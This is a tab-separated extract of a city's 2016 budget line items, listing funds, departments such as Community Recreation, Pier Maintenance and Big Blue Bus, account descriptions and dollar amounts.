20306	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2016	2564	0	0	0	0	0	0	0	0	0	0	0	2564
20307	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	1060	0	0	0	0	0	0	0	0	0	0	0	1060
20308	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556100.0	EMBALMING/CREMATION/DECEDENT C		 Supplies and Expenses	2016	53000	0	0	0	0	0	0	0	0	0	0	0	53000
20309	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556110.0	DECEDENT TRANSPORTION		 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
20310	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	780289	0	0	0	0	0	0	0	0	0	0	0	780289
20311	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	25350	0	0	0	0	0	0	0	0	0	0	0	25350
20312	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533110.0	SPECIAL EQUIPMENT-OPER SUPS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20313	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	22236	0	0	0	0	0	0	0	0	0	0	0	22236
20314	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	3131	0	0	0	0	0	0	0	0	0	0	0	3131
20315	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	108459	0	0	0	0	0	0	0	0	0	0	0	108459
20316	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	3540	0	0	0	0	0	0	0	0	0	0	0	3540
20317	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	901	0	0	0	0	0	0	0	0	0	0	0	901
20318	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	251	0	0	0	0	0	0	0	0	0	0	0	251
20319	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	1650	0	0	0	0	0	0	0	0	0	0	0	1650
20320	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2016	3874	0	0	0	0	0	0	0	0	0	0	0	3874
20321	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2016	1609	0	0	0	0	0	0	0	0	0	0	0	1609
20322	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2016	21202	0	0	0	0	0	0	0	0	0	0	0	21202
20323	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533250.0	RESTROOM MAINTENANCE		 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
20324	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511749.0	VISION		Salaries and Wages	2016	588	0	0	0	0	0	0	0	0	0	0	0	588
20325	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	3400	0	0	0	0	0	0	0	0	0	0	0	3400
20326	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	451	0	0	0	0	0	0	0	0	0	0	0	451
20327	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	213978	0	0	0	0	0	0	0	0	0	0	0	213978
20328	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	4206	0	0	0	0	0	0	0	0	0	0	0	4206
20329	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	95556	0	0	0	0	0	0	0	0	0	0	0	95556
20330	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	5290	0	0	0	0	0	0	0	0	0	0	0	5290
20331	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	45255	0	0	0	0	0	0	0	0	0	0	0	45255
20332	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	776	0	0	0	0	0	0	0	0	0	0	0	776
20333	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	2600	0	0	0	0	0	0	0	0	0	0	0	2600
20334	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	120000	0	0	0	0	0	0	0	0	0	0	0	120000
20335	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	52471	0	0	0	0	0	0	0	0	0	0	0	52471
20336	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	150	0	0	0	0	0	0	0	0	0	0	0	150
20337	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	24768	0	0	0	0	0	0	0	0	0	0	0	24768
20338	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	31332	0	0	0	0	0	0	0	0	0	0	0	31332
20339	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	16629	0	0	0	0	0	0	0	0	0	0	0	16629
20340	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	929	0	0	0	0	0	0	0	0	0	0	0	929
20341	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	11509	0	0	0	0	0	0	0	0	0	0	0	11509
20342	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	70	0	0	0	0	0	0	0	0	0	0	0	70
20343	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
20344	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2016	4150	0	0	0	0	0	0	0	0	0	0	0	4150
20345	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	76102	0	0	0	0	0	0	0	0	0	0	0	76102
20346	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2016	72	0	0	0	0	0	0	0	0	0	0	0	72
20347	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20348	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544440.0	WEBSITE DEVOP & MAINTENANCE	808.0	 Supplies and Expenses	2016	6018	0	0	0	0	0	0	0	0	0	0	0	6018
20349	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2016	3042	0	0	0	0	0	0	0	0	0	0	0	3042
20350	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	134987	0	0	0	0	0	0	0	0	0	0	0	134987
20351	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2016	219	0	0	0	0	0	0	0	0	0	0	0	219
20352	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	52953	0	0	0	0	0	0	0	0	0	0	0	52953
20353	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	1219	0	0	0	0	0	0	0	0	0	0	0	1219
20354	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	1519	0	0	0	0	0	0	0	0	0	0	0	1519
20355	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	200	0	0	0	0	0	0	0	0	0	0	0	200
20356	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2016	29400	0	0	0	0	0	0	0	0	0	0	0	29400
20357	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	2985	0	0	0	0	0	0	0	0	0	0	0	2985
20358	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2016	140	0	0	0	0	0	0	0	0	0	0	0	140
20359	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2016	2724	0	0	0	0	0	0	0	0	0	0	0	2724
20360	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2016	3115	0	0	0	0	0	0	0	0	0	0	0	3115
20361	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2016	122337	0	0	0	0	0	0	0	0	0	0	0	122337
20362	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2016	15500	0	0	0	0	0	0	0	0	0	0	0	15500
20363	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522710.0	AUTO REIMBURSEMENT	820.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20364	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2016	104050	0	0	0	0	0	0	0	0	0	0	0	104050
20365	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2016	195763	0	0	0	0	0	0	0	0	0	0	0	195763
20366	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2016	5099	0	0	0	0	0	0	0	0	0	0	0	5099
20367	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2016	1296	0	0	0	0	0	0	0	0	0	0	0	1296
20368	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2016	12000	0	0	0	0	0	0	0	0	0	0	0	12000
20369	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405760.0	ENHANCEMENT PURCHASES	650.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20370	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	556050.0	LA MARATHON	820.0	 Supplies and Expenses	2016	177875	0	0	0	0	0	0	0	0	0	0	0	177875
20371	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560030.0	RAIN BARREL PROGRAM	808.0	 Supplies and Expenses	2016	13499	0	0	0	0	0	0	0	0	0	0	0	13499
20372	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401170.0	ELECTION FEES	612.0	Charges for Service	2016	-700	0	0	0	0	0	0	0	0	0	0	0	-700
20373	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	540590.0	EMPLOYEE RECOGNITION & APPRECI	812.0	 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
20374	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2016	685	0	0	0	0	0	0	0	0	0	0	0	685
20375	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	467581	0	0	0	0	0	0	0	0	0	0	0	467581
20376	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2016	14020	0	0	0	0	0	0	0	0	0	0	0	14020
20377	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20378	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522825.0	FOOD PURCHASES		 Supplies and Expenses	2016	240	0	0	0	0	0	0	0	0	0	0	0	240
20379	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	32654	0	0	0	0	0	0	0	0	0	0	0	32654
20380	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	2037	0	0	0	0	0	0	0	0	0	0	0	2037
20381	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	1027	0	0	0	0	0	0	0	0	0	0	0	1027
20382	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	313	0	0	0	0	0	0	0	0	0	0	0	313
20383	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2016	1020	0	0	0	0	0	0	0	0	0	0	0	1020
20384	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
20385	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	950	0	0	0	0	0	0	0	0	0	0	0	950
20386	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
20387	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	1501	0	0	0	0	0	0	0	0	0	0	0	1501
20388	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	15799	0	0	0	0	0	0	0	0	0	0	0	15799
20389	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522311.0	DISCOUNTS AVAILABLE	804.0	 Supplies and Expenses	2016	-360	0	0	0	0	0	0	0	0	0	0	0	-360
20390	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20391	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
20392	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522920.0	COMMERCIAL VEHICLE REPAIRS	808.0	 Supplies and Expenses	2016	291711	0	0	0	0	0	0	0	0	0	0	0	291711
20393	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	12850	0	0	0	0	0	0	0	0	0	0	0	12850
20394	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2016	10262	0	0	0	0	0	0	0	0	0	0	0	10262
20395	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2016	614037	0	0	0	0	0	0	0	0	0	0	0	614037
20396	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		YEAR-END CASH OUTS	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20397	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2016	129181	0	0	0	0	0	0	0	0	0	0	0	129181
20398	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2016	432	0	0	0	0	0	0	0	0	0	0	0	432
20399	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2016	623	0	0	0	0	0	0	0	0	0	0	0	623
20400	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2016	121488	0	0	0	0	0	0	0	0	0	0	0	121488
20401	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-12804	0	0	0	0	0	0	0	0	0	0	0	-12804
20402	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2016	106	0	0	0	0	0	0	0	0	0	0	0	106
20403	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2016	21614	0	0	0	0	0	0	0	0	0	0	0	21614
20404	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2016	3500	0	0	0	0	0	0	0	0	0	0	0	3500
20405	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2016	685	0	0	0	0	0	0	0	0	0	0	0	685
20406	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408080.0	FIRE RESIDENTIAL INSPECT FEES	612.0	Charges for Service	2016	-553873	0	0	0	0	0	0	0	0	0	0	0	-553873
20407	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2016	6409	0	0	0	0	0	0	0	0	0	0	0	6409
20408	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555170.0	MONITORING COSTS	808.0	 Supplies and Expenses	2016	60792	0	0	0	0	0	0	0	0	0	0	0	60792
20409	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400772.0	JONATHAN CLUB LEASE	618.0	Rentals	2016	-125000	0	0	0	0	0	0	0	0	0	0	0	-125000
20410	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2016	36918	0	0	0	0	0	0	0	0	0	0	0	36918
20411	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	804.0	 Supplies and Expenses	2016	6899	0	0	0	0	0	0	0	0	0	0	0	6899
20412	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408140.0	ABOVE GROUND TANK PROGRAM	612.0	Charges for Service	2016	-12600	0	0	0	0	0	0	0	0	0	0	0	-12600
20413	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	5985	0	0	0	0	0	0	0	0	0	0	0	5985
20414	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	816.0	 Supplies and Expenses	2016	3500	0	0	0	0	0	0	0	0	0	0	0	3500
20415	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20416	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-81901	0	0	0	0	0	0	0	0	0	0	0	-81901
20417	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	10070	0	0	0	0	0	0	0	0	0	0	0	10070
20418	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2016	150	0	0	0	0	0	0	0	0	0	0	0	150
20419	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2016	7326	0	0	0	0	0	0	0	0	0	0	0	7326
20420	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	4157	0	0	0	0	0	0	0	0	0	0	0	4157
20421	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
20422	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577840.0	ASSESSMENTS FOR CITY-OWNED PRO	820.0	 Supplies and Expenses	2016	407590	0	0	0	0	0	0	0	0	0	0	0	407590
20423	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	543	0	0	0	0	0	0	0	0	0	0	0	543
20424	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	6749	0	0	0	0	0	0	0	0	0	0	0	6749
20425	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	150000	0	0	0	0	0	0	0	0	0	0	0	150000
20426	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522820.0	CONFERENCES/MEETINGS/TRAVEL	848.0	 Supplies and Expenses	2016	1719	0	0	0	0	0	0	0	0	0	0	0	1719
20427	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407070.0	CUPA ADMINISTRATION FEES	612.0	Charges for Service	2016	-174952	0	0	0	0	0	0	0	0	0	0	0	-174952
20428	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577520.0	INVESTMENT TRANSFERS		 Supplies and Expenses	2016	-423337	0	0	0	0	0	0	0	0	0	0	0	-423337
20429	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	15575	0	0	0	0	0	0	0	0	0	0	0	15575
20430	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20431	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401750.0	MUSEUM UTILITY REIMBURSE	622.0	Other	2016	-6000	0	0	0	0	0	0	0	0	0	0	0	-6000
20432	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-2050994	0	0	0	0	0	0	0	0	0	0	0	-2050994
20433	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404290.0	MEASURE R LOCAL RETURN	658.0	Sales Tax	2016	-1062291	0	0	0	0	0	0	0	0	0	0	0	-1062291
20434	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401590.0	PLANNING PRESUBMITTAL REVIEW	612.0	Charges for Service	2016	-9764	0	0	0	0	0	0	0	0	0	0	0	-9764
20435	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404320.0	PARAMEDIC SKILLED NURSING FEE	612.0	Charges for Service	2016	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
20436	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	2280	0	0	0	0	0	0	0	0	0	0	0	2280
20437	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2016	1060	0	0	0	0	0	0	0	0	0	0	0	1060
